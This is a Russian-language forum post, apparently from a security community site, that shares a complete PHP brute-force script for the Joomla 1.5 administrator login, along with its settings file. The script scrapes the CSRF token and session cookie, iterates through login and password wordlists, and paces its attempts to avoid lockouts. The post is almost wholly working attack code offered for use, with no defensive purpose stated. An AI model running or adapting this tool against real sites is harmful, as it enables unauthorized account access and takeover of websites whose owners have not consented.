Доброго времени суток уважаемое сообщество.
Между своими сериями 1 и 2 небольшого брутфорса на PHP для Joomla 1.5 решил написать более простой и быстрый но главное рабочий вариант, без сторонних библиотек, на регулярных выражениях.
На выхлопе получил вот такую саймпл брутилку
Долго описывать не буду, сразу выкладываю код.
В папке с программой должен быть файлик settings.ini с таким содержимым
Также, в папку нужно положить файл logins.txt и passwords.txt с соответствующим содержимым, а также создать папку tmp.
Скрипт очень простой, буду понемногу доделывать его и первый, расширять поддержку разных версий CMS Joomla и скорость подбора.
Делюсь сием чудом для критики с целью улучшения написания кода.
Между своими сериями 1 и 2 небольшого брутфорса на PHP для Joomla 1.5 решил написать более простой и быстрый но главное рабочий вариант, без сторонних библиотек, на регулярных выражениях.
На выхлопе получил вот такую саймпл брутилку
Долго описывать не буду, сразу выкладываю код.
PHP:
<?php
define('DR', DIRECTORY_SEPARATOR);
function present() {
echo PHP_EOL;
echo
' _ _ _
(_) Joomla 1.5 | |__ _ __ _ _| |_ ___
| |/ _ \ / _ \ | \'_ \| \'__| | | | __/ _ \
| | (_) | (_) | |_) | | | |_| | || __/
_/ |\___/ \___/ |_.__/|_| \__,_|\__\___|
|__/ for codeby.net by wonalive v.0.1 2017
';
echo PHP_EOL;
}
function loadSettings() {
$settings = file_exists('settings.ini') ? parse_ini_file('settings.ini') : null;
if($settings === null) {
displayErrorAndDie(7);
}
define('TARGET', $settings['target']);
define('TIMEOUT', $settings['timeout']);
define('PATTERN_FOR_TOKEN', $settings['pattern_for_token']);
define('PATTERN_FOR_MESSAGE', $settings['pattern_for_message']);
define('ERROR_MESSAGE', $settings['error_message']);
define('LOGINS', 'logins.txt');
define('PASSWORDS', 'cain_and_abel_300k.txt');
define('PAUSE_IN_SECONDS', $settings['pause_in_seconds']);
define('ATTEMPT_PAUSE', $settings['attempt_pause']);
define('CURL_VERBOSE', $settings['curl_verbose']);
}
function displayErrorAndDie($errorCode, $number = null) {
$errors = [
0 => 'CONNECT PROBLEM',
1 => 'GET TOKEN OR/AND COOKIE',
2 => 'LOGINS FILE IS BROKEN',
3 => 'PASSWORDS FILE IS BROKEN',
4 => 'IN CHECK, POSITION IS: ' . $number,
5 => 'IN ' . $number . ' ATTEMPT',
6 => 'HTTP_CODE IS ' . $number,
7 => 'Configuration file is not found. Create \'settings.ini\' in \'' . __DIR__ . '\'',
];
die('[-]ERROR: ' . $errors[$errorCode] . ' (error code is ' . $errorCode .')' . PHP_EOL . 'Shutdown program...' . PHP_EOL);
}
function displayMessage($messageCode, $number = null, $login = null, $password = null) {
$messages = [
0 => 'CONNECT ESTABLISHED',
1 => 'TOKEN AND COOKIE GET COMPLETE',
2 => 'TOKEN IS EMPTY',
3 => 'LOGIN FILE UPLOADED: ' . $number,
4 => 'PASSWORD FILE UPLOADED: ' . $number,
5 => 'ATTEMPTS WILL BE: ' . $number,
6 => 'START CHECK',
7 => 'ATTEMPT: ' . $number . ' -- LOGIN: ' . $login . ' -- PASSWORD: ' . $password,
8 => 'WRONG CREDENTIALS (' . $number .')' ,
9 => 'PAUSE ' . PAUSE_IN_SECONDS . ' SECONDS...' ,
10 => 'PASSWORD FOUND',
];
echo '[+]: ' . $messages[$messageCode] . PHP_EOL;
}
function getHtmlAndCookie() {
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, TARGET);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, TIMEOUT);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_VERBOSE, CURL_VERBOSE);
curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/4.0 (Windows; U; Windows NT 5.0; En; rv:1.8.0.2) Gecko/20070306 Firefox/1.0.0.4");
curl_setopt($ch, CURLOPT_COOKIEJAR, dirname(__FILE__) . DR . 'tmp' . DR . 'cookie');
$html = curl_exec($ch);
if(curl_error($ch))
{
echo "\n\ncURL error:" . curl_error($ch);
echo "\n\ncURL error:" . curl_errno($ch);
}
$http_code = curl_getinfo($ch,CURLINFO_HTTP_CODE);
curl_close($ch);
if($http_code !== 200) {
displayMessage(6, $http_code);
}
if(!empty($html)) {
displayMessage(0);
return $html;
}
displayErrorAndDie(0);
return false;
}
function getToken($html) {
if(empty($html)) {
displayErrorAndDie(1);
}
preg_match_all(PATTERN_FOR_TOKEN, $html, $result);
if(!empty($result[1][0])) {
if(file_put_contents(dirname(__FILE__) . DR . 'tmp' . DR . 'token', $result[1][0])) {
displayMessage(1);
return $result[1][0];
}
displayErrorAndDie(2);
return false;
}
displayErrorAndDie(1);
return false;
}
function getLoginList() {
if(file_exists(LOGINS)) {
displayMessage(3, count(file(LOGINS)));
$logins = array();
foreach(file(LOGINS) as $login) {
$logins[] = str_replace(array("\r","\n"),"", $login);
}
return $logins;
}
displayErrorAndDie(3);
return false;
}
function getPassList() {
if(file_exists(PASSWORDS)) {
displayMessage(4, count(file(PASSWORDS)));
$passwords = array();
foreach(file(PASSWORDS) as $password) {
$passwords[] = str_replace(array("\r","\n"),"", $password);
}
return $passwords;
}
displayErrorAndDie(4);
return false;
}
function startCheck($logins, $passwords, $token) {
displayMessage(6);
$attempt = 1;
foreach($logins as $login) {
foreach($passwords as $password) {
displayMessage(7, $attempt, $login, $password);
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, TARGET);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, TIMEOUT);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_VERBOSE, CURL_VERBOSE);
curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/4.0 (Windows; U; Windows NT 5.0; En; rv:1.8.0.2) Gecko/20070306 Firefox/1.0.0.4");
curl_setopt($ch, CURLOPT_COOKIEFILE, dirname(__FILE__) . DR . 'tmp' . DR . 'cookie');
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, array(
'username' => $login,
'passwd' => $password,
'lang' => '',
'option' => 'com_login',
'task' => 'login',
$token => 1,
));
$html = curl_exec($ch);
if(curl_error($ch))
{
echo "\n\ncURL error:" . curl_error($ch);
echo "\n\ncURL error:" . curl_errno($ch);
}
$http_code = curl_getinfo($ch,CURLINFO_HTTP_CODE);
curl_close($ch);
if($http_code !== 200) {
displayMessage(6, $http_code);
}
if(!empty($html)) {
if($attempt % ATTEMPT_PAUSE === 0) {
displayMessage(9);
sleep(PAUSE_IN_SECONDS);
}
$attempt++;
preg_match_all(PATTERN_FOR_MESSAGE, $html, $message);
if(isset($message[0][0])) {
if($message[0][0] === ERROR_MESSAGE) {
displayMessage(8, $message[0][0]);
continue;
}
} else {
displayMessage(10);
die;
}
}
displayErrorAndDie(5, $attempt);
}
}
}
present();
loadSettings();
$html = getHtmlAndCookie();
$token = getToken($html);
$logins = getLoginList();
$passwords = getPassList();
displayMessage(5, count($logins) * count($passwords));
startCheck($logins, $passwords, $token);
В папке с программой должен быть файлик settings.ini с таким содержимым
Код:
target = 'http://joomla/administrator/index.php';
timeout = 30;
pattern_for_token = '/<input type="hidden" name="(.{32})"/';
pattern_for_message = '/<p id="login-error-message">Username and password do not match<p>/';
error_message = '<p id="login-error-message">Username and password do not match<p>';
pause_in_seconds = 30;
attempt_pause = 100;
curl_verbose = 0;
Также, в папку нужно положить файл logins.txt и passwords.txt с соответствующим содержимым, а также создать папку tmp.
Скрипт очень простой, буду понемногу доделывать его и первый, расширять поддержку разных версий CMS Joomla и скорость подбора.
Делюсь сием чудом для критики с целью улучшения написания кода.